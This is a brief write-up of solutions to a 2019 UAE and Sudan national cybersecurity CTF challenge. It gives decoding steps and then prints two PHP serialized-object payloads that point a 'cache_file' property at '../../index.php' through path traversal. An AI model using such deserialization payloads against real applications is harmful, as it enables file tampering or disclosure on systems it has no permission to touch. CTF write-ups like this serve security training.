UAE and Sudan National Cyber Security CTF 2019 — Solutions

  1. The flag is URL Encoded. Decode it first!
  2. We got the base64 encoded text. Decode it!
  3. We got the flag!
O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}O:9:"JohnClass":1:{s:10:"cache_file";s:15:"../../index.php";}

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Kamran Saifullah

Kamran Saifullah

Malware/RE/Firmware Analysis, App Sec/Off Sec, VAPT, Phishing Simulations/SE | Risk Management, IS Governance, Audits, ISO 27001 LI